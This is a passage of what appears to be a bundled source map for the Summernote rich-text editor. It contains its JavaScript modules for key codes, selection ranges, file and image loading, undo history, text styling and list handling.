}\n});\n","import lists from './lists';\nimport func from './func';\n\nconst KEY_MAP = {\n  'BACKSPACE': 8,\n  'TAB': 9,\n  'ENTER': 13,\n  'SPACE': 32,\n  'DELETE': 46,\n\n  // Arrow\n  'LEFT': 37,\n  'UP': 38,\n  'RIGHT': 39,\n  'DOWN': 40,\n\n  // Number: 0-9\n  'NUM0': 48,\n  'NUM1': 49,\n  'NUM2': 50,\n  'NUM3': 51,\n  'NUM4': 52,\n  'NUM5': 53,\n  'NUM6': 54,\n  'NUM7': 55,\n  'NUM8': 56,\n\n  // Alphabet: a-z\n  'B': 66,\n  'E': 69,\n  'I': 73,\n  'J': 74,\n  'K': 75,\n  'L': 76,\n  'R': 82,\n  'S': 83,\n  'U': 85,\n  'V': 86,\n  'Y': 89,\n  'Z': 90,\n\n  'SLASH': 191,\n  'LEFTBRACKET': 219,\n  'BACKSLASH': 220,\n  'RIGHTBRACKET': 221\n};\n\n/**\n * @class core.key\n *\n * Object for keycodes.\n *\n * @singleton\n * @alternateClassName key\n */\nexport default {\n  /**\n   * @method isEdit\n   *\n   * @param {Number} keyCode\n   * @return {Boolean}\n   */\n  isEdit: (keyCode) => {\n    return lists.contains([\n      KEY_MAP.BACKSPACE,\n      KEY_MAP.TAB,\n      KEY_MAP.ENTER,\n      KEY_MAP.SPACE,\n      KEY_MAP.DELETE\n    ], keyCode);\n  },\n  /**\n   * @method isMove\n   *\n   * @param {Number} keyCode\n   * @return {Boolean}\n   */\n  isMove: (keyCode) => {\n    return lists.contains([\n      KEY_MAP.LEFT,\n      KEY_MAP.UP,\n      KEY_MAP.RIGHT,\n      KEY_MAP.DOWN\n    ], keyCode);\n  },\n  /**\n   * @property {Object} nameFromCode\n   * @property {String} nameFromCode.8 \"BACKSPACE\"\n   */\n  nameFromCode: func.invertObject(KEY_MAP),\n  code: KEY_MAP\n};\n","import $ from 'jquery';\nimport env from './env';\nimport func from './func';\nimport lists from './lists';\nimport dom from './dom';\n\n/**\n * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js\n *\n * @param {TextRange} textRange\n * @param {Boolean} isStart\n * @return {BoundaryPoint}\n *\n * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx\n */\nfunction textRangeToPoint(textRange, isStart) {\n  let container = textRange.parentElement();\n  let offset;\n\n  const tester = document.body.createTextRange();\n  let prevContainer;\n  const childNodes = lists.from(container.childNodes);\n  for (offset = 0; offset < childNodes.length; offset++) {\n    if (dom.isText(childNodes[offset])) {\n      continue;\n    }\n    tester.moveToElementText(childNodes[offset]);\n    if (tester.compareEndPoints('StartToStart', textRange) >= 0) {\n      break;\n    }\n    prevContainer = childNodes[offset];\n  }\n\n  if (offset !== 0 && dom.isText(childNodes[offset - 1])) {\n    const textRangeStart = document.body.createTextRange();\n    let curTextNode = null;\n    textRangeStart.moveToElementText(prevContainer || container);\n    textRangeStart.collapse(!prevContainer);\n    curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;\n\n    const pointTester = textRange.duplicate();\n    pointTester.setEndPoint('StartToStart', textRangeStart);\n    let textCount = pointTester.text.replace(/[\\r\\n]/g, '').length;\n\n    while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {\n      textCount -= curTextNode.nodeValue.length;\n      curTextNode = curTextNode.nextSibling;\n    }\n\n    // [workaround] enforce IE to re-reference curTextNode, hack\n    const dummy = curTextNode.nodeValue; // eslint-disable-line\n\n    if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&\n      textCount === curTextNode.nodeValue.length) {\n      textCount -= curTextNode.nodeValue.length;\n      curTextNode = curTextNode.nextSibling;\n    }\n\n    container = curTextNode;\n    offset = textCount;\n  }\n\n  return {\n    cont: container,\n    offset: offset\n  };\n}\n\n/**\n * return TextRange from boundary point (inspired by google closure-library)\n * @param {BoundaryPoint} point\n * @return {TextRange}\n */\nfunction pointToTextRange(point) {\n  const textRangeInfo = function(container, offset) {\n    let node, isCollapseToStart;\n\n    if (dom.isText(container)) {\n      const prevTextNodes = dom.listPrev(container, func.not(dom.isText));\n      const prevContainer = lists.last(prevTextNodes).previousSibling;\n      node = prevContainer || container.parentNode;\n      offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);\n      isCollapseToStart = !prevContainer;\n    } else {\n      node = container.childNodes[offset] || container;\n      if (dom.isText(node)) {\n        return textRangeInfo(node, 0);\n      }\n\n      offset = 0;\n      isCollapseToStart = false;\n    }\n\n    return {\n      node: node,\n      collapseToStart: isCollapseToStart,\n      offset: offset\n    };\n  };\n\n  const textRange = document.body.createTextRange();\n  const info = textRangeInfo(point.node, point.offset);\n\n  textRange.moveToElementText(info.node);\n  textRange.collapse(info.collapseToStart);\n  textRange.moveStart('character', info.offset);\n  return textRange;\n}\n\n/**\n   * Wrapped Range\n   *\n   * @constructor\n   * @param {Node} sc - start container\n   * @param {Number} so - start offset\n   * @param {Node} ec - end container\n   * @param {Number} eo - end offset\n   */\nclass WrappedRange {\n  constructor(sc, so, ec, eo) {\n    this.sc = sc;\n    this.so = so;\n    this.ec = ec;\n    this.eo = eo;\n\n    // isOnEditable: judge whether range is on editable or not\n    this.isOnEditable = this.makeIsOn(dom.isEditable);\n    // isOnList: judge whether range is on list node or not\n    this.isOnList = this.makeIsOn(dom.isList);\n    // isOnAnchor: judge whether range is on anchor node or not\n    this.isOnAnchor = this.makeIsOn(dom.isAnchor);\n    // isOnCell: judge whether range is on cell node or not\n    this.isOnCell = this.makeIsOn(dom.isCell);\n    // isOnData: judge whether range is on data node or not\n    this.isOnData = this.makeIsOn(dom.isData);\n  }\n\n  // nativeRange: get nativeRange from sc, so, ec, eo\n  nativeRange() {\n    if (env.isW3CRangeSupport) {\n      const w3cRange = document.createRange();\n      w3cRange.setStart(this.sc, this.so);\n      w3cRange.setEnd(this.ec, this.eo);\n\n      return w3cRange;\n    } else {\n      const textRange = pointToTextRange({\n        node: this.sc,\n        offset: this.so\n      });\n\n      textRange.setEndPoint('EndToEnd', pointToTextRange({\n        node: this.ec,\n        offset: this.eo\n      }));\n\n      return textRange;\n    }\n  }\n\n  getPoints() {\n    return {\n      sc: this.sc,\n      so: this.so,\n      ec: this.ec,\n      eo: this.eo\n    };\n  }\n\n  getStartPoint() {\n    return {\n      node: this.sc,\n      offset: this.so\n    };\n  }\n\n  getEndPoint() {\n    return {\n      node: this.ec,\n      offset: this.eo\n    };\n  }\n\n  /**\n   * select update visible range\n   */\n  select() {\n    const nativeRng = this.nativeRange();\n    if (env.isW3CRangeSupport) {\n      const selection = document.getSelection();\n      if (selection.rangeCount > 0) {\n        selection.removeAllRanges();\n      }\n      selection.addRange(nativeRng);\n    } else {\n      nativeRng.select();\n    }\n\n    return this;\n  }\n\n  /**\n   * Moves the scrollbar to start container(sc) of current range\n   *\n   * @return {WrappedRange}\n   */\n  scrollIntoView(container) {\n    const height = $(container).height();\n    if (container.scrollTop + height < this.sc.offsetTop) {\n      container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);\n    }\n\n    return this;\n  }\n\n  /**\n   * @return {WrappedRange}\n   */\n  normalize() {\n    /**\n     * @param {BoundaryPoint} point\n     * @param {Boolean} isLeftToRight\n     * @return {BoundaryPoint}\n     */\n    const getVisiblePoint = function(point, isLeftToRight) {\n      if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) ||\n          (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) ||\n          (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) ||\n          (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) {\n        return point;\n      }\n\n      // point on block's edge\n      const block = dom.ancestor(point.node, dom.isBlock);\n      if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) ||\n          ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) {\n        // returns point already on visible point\n        if (dom.isVisiblePoint(point)) {\n          return point;\n        }\n        // reverse direction\n        isLeftToRight = !isLeftToRight;\n      }\n\n      const nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)\n        : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);\n      return nextPoint || point;\n    };\n\n    const endPoint = getVisiblePoint(this.getEndPoint(), false);\n    const startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);\n\n    return new WrappedRange(\n      startPoint.node,\n      startPoint.offset,\n      endPoint.node,\n      endPoint.offset\n    );\n  }\n\n  /**\n   * returns matched nodes on range\n   *\n   * @param {Function} [pred] - predicate function\n   * @param {Object} [options]\n   * @param {Boolean} [options.includeAncestor]\n   * @param {Boolean} [options.fullyContains]\n   * @return {Node[]}\n   */\n  nodes(pred, options) {\n    pred = pred || func.ok;\n\n    const includeAncestor = options && options.includeAncestor;\n    const fullyContains = options && options.fullyContains;\n\n    // TODO compare points and sort\n    const startPoint = this.getStartPoint();\n    const endPoint = this.getEndPoint();\n\n    const nodes = [];\n    const leftEdgeNodes = [];\n\n    dom.walkPoint(startPoint, endPoint, function(point) {\n      if (dom.isEditable(point.node)) {\n        return;\n      }\n\n      let node;\n      if (fullyContains) {\n        if (dom.isLeftEdgePoint(point)) {\n          leftEdgeNodes.push(point.node);\n        }\n        if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {\n          node = point.node;\n        }\n      } else if (includeAncestor) {\n        node = dom.ancestor(point.node, pred);\n      } else {\n        node = point.node;\n      }\n\n      if (node && pred(node)) {\n        nodes.push(node);\n      }\n    }, true);\n\n    return lists.unique(nodes);\n  }\n\n  /**\n   * returns commonAncestor of range\n   * @return {Element} - commonAncestor\n   */\n  commonAncestor() {\n    return dom.commonAncestor(this.sc, this.ec);\n  }\n\n  /**\n   * returns expanded range by pred\n   *\n   * @param {Function} pred - predicate function\n   * @return {WrappedRange}\n   */\n  expand(pred) {\n    const startAncestor = dom.ancestor(this.sc, pred);\n    const endAncestor = dom.ancestor(this.ec, pred);\n\n    if (!startAncestor && !endAncestor) {\n      return new WrappedRange(this.sc, this.so, this.ec, this.eo);\n    }\n\n    const boundaryPoints = this.getPoints();\n\n    if (startAncestor) {\n      boundaryPoints.sc = startAncestor;\n      boundaryPoints.so = 0;\n    }\n\n    if (endAncestor) {\n      boundaryPoints.ec = endAncestor;\n      boundaryPoints.eo = dom.nodeLength(endAncestor);\n    }\n\n    return new WrappedRange(\n      boundaryPoints.sc,\n      boundaryPoints.so,\n      boundaryPoints.ec,\n      boundaryPoints.eo\n    );\n  }\n\n  /**\n   * @param {Boolean} isCollapseToStart\n   * @return {WrappedRange}\n   */\n  collapse(isCollapseToStart) {\n    if (isCollapseToStart) {\n      return new WrappedRange(this.sc, this.so, this.sc, this.so);\n    } else {\n      return new WrappedRange(this.ec, this.eo, this.ec, this.eo);\n    }\n  }\n\n  /**\n   * splitText on range\n   */\n  splitText() {\n    const isSameContainer = this.sc === this.ec;\n    const boundaryPoints = this.getPoints();\n\n    if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {\n      this.ec.splitText(this.eo);\n    }\n\n    if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {\n      boundaryPoints.sc = this.sc.splitText(this.so);\n      boundaryPoints.so = 0;\n\n      if (isSameContainer) {\n        boundaryPoints.ec = boundaryPoints.sc;\n        boundaryPoints.eo = this.eo - this.so;\n      }\n    }\n\n    return new WrappedRange(\n      boundaryPoints.sc,\n      boundaryPoints.so,\n      boundaryPoints.ec,\n      boundaryPoints.eo\n    );\n  }\n\n  /**\n   * delete contents on range\n   * @return {WrappedRange}\n   */\n  deleteContents() {\n    if (this.isCollapsed()) {\n      return this;\n    }\n\n    const rng = this.splitText();\n    const nodes = rng.nodes(null, {\n      fullyContains: true\n    });\n\n    // find new cursor point\n    const point = dom.prevPointUntil(rng.getStartPoint(), function(point) {\n      return !lists.contains(nodes, point.node);\n    });\n\n    const emptyParents = [];\n    $.each(nodes, function(idx, node) {\n      // find empty parents\n      const parent = node.parentNode;\n      if (point.node !== parent && dom.nodeLength(parent) === 1) {\n        emptyParents.push(parent);\n      }\n      dom.remove(node, false);\n    });\n\n    // remove empty parents\n    $.each(emptyParents, function(idx, node) {\n      dom.remove(node, false);\n    });\n\n    return new WrappedRange(\n      point.node,\n      point.offset,\n      point.node,\n      point.offset\n    ).normalize();\n  }\n\n  /**\n   * makeIsOn: return isOn(pred) function\n   */\n  makeIsOn(pred) {\n    return function() {\n      const ancestor = dom.ancestor(this.sc, pred);\n      return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));\n    };\n  }\n\n  /**\n   * @param {Function} pred\n   * @return {Boolean}\n   */\n  isLeftEdgeOf(pred) {\n    if (!dom.isLeftEdgePoint(this.getStartPoint())) {\n      return false;\n    }\n\n    const node = dom.ancestor(this.sc, pred);\n    return node && dom.isLeftEdgeOf(this.sc, node);\n  }\n\n  /**\n   * returns whether range was collapsed or not\n   */\n  isCollapsed() {\n    return this.sc === this.ec && this.so === this.eo;\n  }\n\n  /**\n   * wrap inline nodes which children of body with paragraph\n   *\n   * @return {WrappedRange}\n   */\n  wrapBodyInlineWithPara() {\n    if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {\n      this.sc.innerHTML = dom.emptyPara;\n      return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);\n    }\n\n    /**\n     * [workaround] firefox often create range on not visible point. so normalize here.\n     *  - firefox: |<p>text</p>|\n     *  - chrome: <p>|text|</p>\n     */\n    const rng = this.normalize();\n    if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {\n      return rng;\n    }\n\n    // find inline top ancestor\n    let topAncestor;\n    if (dom.isInline(rng.sc)) {\n      const ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));\n      topAncestor = lists.last(ancestors);\n      if (!dom.isInline(topAncestor)) {\n        topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];\n      }\n    } else {\n      topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];\n    }\n\n    // siblings not in paragraph\n    let inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();\n    inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));\n\n    // wrap with paragraph\n    if (inlineSiblings.length) {\n      const para = dom.wrap(lists.head(inlineSiblings), 'p');\n      dom.appendChildNodes(para, lists.tail(inlineSiblings));\n    }\n\n    return this.normalize();\n  }\n\n  /**\n   * insert node at current cursor\n   *\n   * @param {Node} node\n   * @return {Node}\n   */\n  insertNode(node) {\n    const rng = this.wrapBodyInlineWithPara().deleteContents();\n    const info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));\n\n    if (info.rightNode) {\n      info.rightNode.parentNode.insertBefore(node, info.rightNode);\n    } else {\n      info.container.appendChild(node);\n    }\n\n    return node;\n  }\n\n  /**\n   * insert html at current cursor\n   */\n  pasteHTML(markup) {\n    const contentsContainer = $('<div></div>').html(markup)[0];\n    const childNodes = lists.from(contentsContainer.childNodes);\n\n    const rng = this.wrapBodyInlineWithPara().deleteContents();\n\n    return childNodes.reverse().map(function(childNode) {\n      return rng.insertNode(childNode);\n    }).reverse();\n  }\n\n  /**\n   * returns text in range\n   *\n   * @return {String}\n   */\n  toString() {\n    const nativeRng = this.nativeRange();\n    return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;\n  }\n\n  /**\n   * returns range for word before cursor\n   *\n   * @param {Boolean} [findAfter] - find after cursor, default: false\n   * @return {WrappedRange}\n   */\n  getWordRange(findAfter) {\n    let endPoint = this.getEndPoint();\n\n    if (!dom.isCharPoint(endPoint)) {\n      return this;\n    }\n\n    const startPoint = dom.prevPointUntil(endPoint, function(point) {\n      return !dom.isCharPoint(point);\n    });\n\n    if (findAfter) {\n      endPoint = dom.nextPointUntil(endPoint, function(point) {\n        return !dom.isCharPoint(point);\n      });\n    }\n\n    return new WrappedRange(\n      startPoint.node,\n      startPoint.offset,\n      endPoint.node,\n      endPoint.offset\n    );\n  }\n\n  /**\n   * create offsetPath bookmark\n   *\n   * @param {Node} editable\n   */\n  bookmark(editable) {\n    return {\n      s: {\n        path: dom.makeOffsetPath(editable, this.sc),\n        offset: this.so\n      },\n      e: {\n        path: dom.makeOffsetPath(editable, this.ec),\n        offset: this.eo\n      }\n    };\n  }\n\n  /**\n   * create offsetPath bookmark base on paragraph\n   *\n   * @param {Node[]} paras\n   */\n  paraBookmark(paras) {\n    return {\n      s: {\n        path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),\n        offset: this.so\n      },\n      e: {\n        path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),\n        offset: this.eo\n      }\n    };\n  }\n\n  /**\n   * getClientRects\n   * @return {Rect[]}\n   */\n  getClientRects() {\n    const nativeRng = this.nativeRange();\n    return nativeRng.getClientRects();\n  }\n}\n\n/**\n * Data structure\n *  * BoundaryPoint: a point of dom tree\n *  * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range\n *\n * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position\n */\nexport default {\n  /**\n   * create Range Object From arguments or Browser Selection\n   *\n   * @param {Node} sc - start container\n   * @param {Number} so - start offset\n   * @param {Node} ec - end container\n   * @param {Number} eo - end offset\n   * @return {WrappedRange}\n   */\n  create: function(sc, so, ec, eo) {\n    if (arguments.length === 4) {\n      return new WrappedRange(sc, so, ec, eo);\n    } else if (arguments.length === 2) { // collapsed\n      ec = sc;\n      eo = so;\n      return new WrappedRange(sc, so, ec, eo);\n    } else {\n      let wrappedRange = this.createFromSelection();\n      if (!wrappedRange && arguments.length === 1) {\n        wrappedRange = this.createFromNode(arguments[0]);\n        return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML);\n      }\n      return wrappedRange;\n    }\n  },\n\n  createFromSelection: function() {\n    let sc, so, ec, eo;\n    if (env.isW3CRangeSupport) {\n      const selection = document.getSelection();\n      if (!selection || selection.rangeCount === 0) {\n        return null;\n      } else if (dom.isBody(selection.anchorNode)) {\n        // Firefox: returns entire body as range on initialization.\n        // We won't never need it.\n        return null;\n      }\n\n      const nativeRng = selection.getRangeAt(0);\n      sc = nativeRng.startContainer;\n      so = nativeRng.startOffset;\n      ec = nativeRng.endContainer;\n      eo = nativeRng.endOffset;\n    } else { // IE8: TextRange\n      const textRange = document.selection.createRange();\n      const textRangeEnd = textRange.duplicate();\n      textRangeEnd.collapse(false);\n      const textRangeStart = textRange;\n      textRangeStart.collapse(true);\n\n      let startPoint = textRangeToPoint(textRangeStart, true);\n      let endPoint = textRangeToPoint(textRangeEnd, false);\n\n      // same visible point case: range was collapsed.\n      if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&\n          dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&\n          endPoint.node.nextSibling === startPoint.node) {\n        startPoint = endPoint;\n      }\n\n      sc = startPoint.cont;\n      so = startPoint.offset;\n      ec = endPoint.cont;\n      eo = endPoint.offset;\n    }\n\n    return new WrappedRange(sc, so, ec, eo);\n  },\n\n  /**\n   * @method\n   *\n   * create WrappedRange from node\n   *\n   * @param {Node} node\n   * @return {WrappedRange}\n   */\n  createFromNode: function(node) {\n    let sc = node;\n    let so = 0;\n    let ec = node;\n    let eo = dom.nodeLength(ec);\n\n    // browsers can't target a picture or void node\n    if (dom.isVoid(sc)) {\n      so = dom.listPrev(sc).length - 1;\n      sc = sc.parentNode;\n    }\n    if (dom.isBR(ec)) {\n      eo = dom.listPrev(ec).length - 1;\n      ec = ec.parentNode;\n    } else if (dom.isVoid(ec)) {\n      eo = dom.listPrev(ec).length;\n      ec = ec.parentNode;\n    }\n\n    return this.create(sc, so, ec, eo);\n  },\n\n  /**\n   * create WrappedRange from node after position\n   *\n   * @param {Node} node\n   * @return {WrappedRange}\n   */\n  createFromNodeBefore: function(node) {\n    return this.createFromNode(node).collapse(true);\n  },\n\n  /**\n   * create WrappedRange from node after position\n   *\n   * @param {Node} node\n   * @return {WrappedRange}\n   */\n  createFromNodeAfter: function(node) {\n    return this.createFromNode(node).collapse();\n  },\n\n  /**\n   * @method\n   *\n   * create WrappedRange from bookmark\n   *\n   * @param {Node} editable\n   * @param {Object} bookmark\n   * @return {WrappedRange}\n   */\n  createFromBookmark: function(editable, bookmark) {\n    const sc = dom.fromOffsetPath(editable, bookmark.s.path);\n    const so = bookmark.s.offset;\n    const ec = dom.fromOffsetPath(editable, bookmark.e.path);\n    const eo = bookmark.e.offset;\n    return new WrappedRange(sc, so, ec, eo);\n  },\n\n  /**\n   * @method\n   *\n   * create WrappedRange from paraBookmark\n   *\n   * @param {Object} bookmark\n   * @param {Node[]} paras\n   * @return {WrappedRange}\n   */\n  createFromParaBookmark: function(bookmark, paras) {\n    const so = bookmark.s.offset;\n    const eo = bookmark.e.offset;\n    const sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);\n    const ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);\n\n    return new WrappedRange(sc, so, ec, eo);\n  }\n};\n","import $ from 'jquery';\n\n/**\n * @method readFileAsDataURL\n *\n * read contents of file as representing URL\n *\n * @param {File} file\n * @return {Promise} - then: dataUrl\n */\nexport function readFileAsDataURL(file) {\n  return $.Deferred((deferred) => {\n    $.extend(new FileReader(), {\n      onload: (e) => {\n        const dataURL = e.target.result;\n        deferred.resolve(dataURL);\n      },\n      onerror: (err) => {\n        deferred.reject(err);\n      }\n    }).readAsDataURL(file);\n  }).promise();\n}\n\n/**\n * @method createImage\n *\n * create `<image>` from url string\n *\n * @param {String} url\n * @return {Promise} - then: $image\n */\nexport function createImage(url) {\n  return $.Deferred((deferred) => {\n    const $img = $('<img>');\n\n    $img.one('load', () => {\n      $img.off('error abort');\n      deferred.resolve($img);\n    }).one('error abort', () => {\n      $img.off('load').detach();\n      deferred.reject($img);\n    }).css({\n      display: 'none'\n    }).appendTo(document.body).attr('src', url);\n  }).promise();\n}\n","import range from '../core/range';\n\nexport default class History {\n  constructor($editable) {\n    this.stack = [];\n    this.stackOffset = -1;\n    this.$editable = $editable;\n    this.editable = $editable[0];\n  }\n\n  makeSnapshot() {\n    const rng = range.create(this.editable);\n    const emptyBookmark = {s: {path: [], offset: 0}, e: {path: [], offset: 0}};\n\n    return {\n      contents: this.$editable.html(),\n      bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark)\n    };\n  }\n\n  applySnapshot(snapshot) {\n    if (snapshot.contents !== null) {\n      this.$editable.html(snapshot.contents);\n    }\n    if (snapshot.bookmark !== null) {\n      range.createFromBookmark(this.editable, snapshot.bookmark).select();\n    }\n  }\n\n  /**\n  * @method rewind\n  * Rewinds the history stack back to the first snapshot taken.\n  * Leaves the stack intact, so that \"Redo\" can still be used.\n  */\n  rewind() {\n    // Create snap shot if not yet recorded\n    if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n      this.recordUndo();\n    }\n\n    // Return to the first available snapshot.\n    this.stackOffset = 0;\n\n    // Apply that snapshot.\n    this.applySnapshot(this.stack[this.stackOffset]);\n  }\n\n  /**\n  * @method reset\n  * Resets the history stack completely; reverting to an empty editor.\n  */\n  reset() {\n    // Clear the stack.\n    this.stack = [];\n\n    // Restore stackOffset to its original value.\n    this.stackOffset = -1;\n\n    // Clear the editable area.\n    this.$editable.html('');\n\n    // Record our first snapshot (of nothing).\n    this.recordUndo();\n  }\n\n  /**\n   * undo\n   */\n  undo() {\n    // Create snap shot if not yet recorded\n    if (this.$editable.html() !== this.stack[this.stackOffset].contents) {\n      this.recordUndo();\n    }\n\n    if (this.stackOffset > 0) {\n      this.stackOffset--;\n      this.applySnapshot(this.stack[this.stackOffset]);\n    }\n  }\n\n  /**\n   * redo\n   */\n  redo() {\n    if (this.stack.length - 1 > this.stackOffset) {\n      this.stackOffset++;\n      this.applySnapshot(this.stack[this.stackOffset]);\n    }\n  }\n\n  /**\n   * recorded undo\n   */\n  recordUndo() {\n    this.stackOffset++;\n\n    // Wash out stack after stackOffset\n    if (this.stack.length > this.stackOffset) {\n      this.stack = this.stack.slice(0, this.stackOffset);\n    }\n\n    // Create new snapshot and push it to the end\n    this.stack.push(this.makeSnapshot());\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class Style {\n  /**\n   * @method jQueryCSS\n   *\n   * [workaround] for old jQuery\n   * passing an array of style properties to .css()\n   * will result in an object of property-value pairs.\n   * (compability with version < 1.9)\n   *\n   * @private\n   * @param  {jQuery} $obj\n   * @param  {Array} propertyNames - An array of one or more CSS properties.\n   * @return {Object}\n   */\n  jQueryCSS($obj, propertyNames) {\n    if (env.jqueryVersion < 1.9) {\n      const result = {};\n      $.each(propertyNames, (idx, propertyName) => {\n        result[propertyName] = $obj.css(propertyName);\n      });\n      return result;\n    }\n    return $obj.css(propertyNames);\n  }\n\n  /**\n   * returns style object from node\n   *\n   * @param {jQuery} $node\n   * @return {Object}\n   */\n  fromNode($node) {\n    const properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height'];\n    const styleInfo = this.jQueryCSS($node, properties) || {};\n    styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10);\n    return styleInfo;\n  }\n\n  /**\n   * paragraph level style\n   *\n   * @param {WrappedRange} rng\n   * @param {Object} styleInfo\n   */\n  stylePara(rng, styleInfo) {\n    $.each(rng.nodes(dom.isPara, {\n      includeAncestor: true\n    }), (idx, para) => {\n      $(para).css(styleInfo);\n    });\n  }\n\n  /**\n   * insert and returns styleNodes on range.\n   *\n   * @param {WrappedRange} rng\n   * @param {Object} [options] - options for styleNodes\n   * @param {String} [options.nodeName] - default: `SPAN`\n   * @param {Boolean} [options.expandClosestSibling] - default: `false`\n   * @param {Boolean} [options.onlyPartialContains] - default: `false`\n   * @return {Node[]}\n   */\n  styleNodes(rng, options) {\n    rng = rng.splitText();\n\n    const nodeName = (options && options.nodeName) || 'SPAN';\n    const expandClosestSibling = !!(options && options.expandClosestSibling);\n    const onlyPartialContains = !!(options && options.onlyPartialContains);\n\n    if (rng.isCollapsed()) {\n      return [rng.insertNode(dom.create(nodeName))];\n    }\n\n    let pred = dom.makePredByNodeName(nodeName);\n    const nodes = rng.nodes(dom.isText, {\n      fullyContains: true\n    }).map((text) => {\n      return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName);\n    });\n\n    if (expandClosestSibling) {\n      if (onlyPartialContains) {\n        const nodesInRange = rng.nodes();\n        // compose with partial contains predication\n        pred = func.and(pred, (node) => {\n          return lists.contains(nodesInRange, node);\n        });\n      }\n\n      return nodes.map((node) => {\n        const siblings = dom.withClosestSiblings(node, pred);\n        const head = lists.head(siblings);\n        const tails = lists.tail(siblings);\n        $.each(tails, (idx, elem) => {\n          dom.appendChildNodes(head, elem.childNodes);\n          dom.remove(elem);\n        });\n        return lists.head(siblings);\n      });\n    } else {\n      return nodes;\n    }\n  }\n\n  /**\n   * get current style on cursor\n   *\n   * @param {WrappedRange} rng\n   * @return {Object} - object contains style properties.\n   */\n  current(rng) {\n    const $cont = $(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc);\n    let styleInfo = this.fromNode($cont);\n\n    // document.queryCommandState for toggle state\n    // [workaround] prevent Firefox nsresult: \"0x80004005 (NS_ERROR_FAILURE)\"\n    try {\n      styleInfo = $.extend(styleInfo, {\n        'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal',\n        'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal',\n        'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal',\n        'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal',\n        'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal',\n        'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal',\n        'font-family': document.queryCommandValue('fontname') || styleInfo['font-family']\n      });\n    } catch (e) {}\n\n    // list-style-type to list-style(unordered, ordered)\n    if (!rng.isOnList()) {\n      styleInfo['list-style'] = 'none';\n    } else {\n      const orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square'];\n      const isUnordered = $.inArray(styleInfo['list-style-type'], orderedTypes) > -1;\n      styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered';\n    }\n\n    const para = dom.ancestor(rng.sc, dom.isPara);\n    if (para && para.style['line-height']) {\n      styleInfo['line-height'] = para.style.lineHeight;\n    } else {\n      const lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10);\n      styleInfo['line-height'] = lineHeight.toFixed(1);\n    }\n\n    styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor);\n    styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable);\n    styleInfo.range = rng;\n\n    return styleInfo;\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport func from '../core/func';\nimport dom from '../core/dom';\nimport range from '../core/range';\n\nexport default class Bullet {\n  /**\n   * toggle ordered list\n   */\n  insertOrderedList(editable) {\n    this.toggleList('OL', editable);\n  }\n\n  /**\n   * toggle unordered list\n   */\n  insertUnorderedList(editable) {\n    this.toggleList('UL', editable);\n  }\n\n  /**\n   * indent\n   */\n  indent(editable) {\n    const rng = range.create(editable).wrapBodyInlineWithPara();\n\n    const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n    $.each(clustereds, (idx, 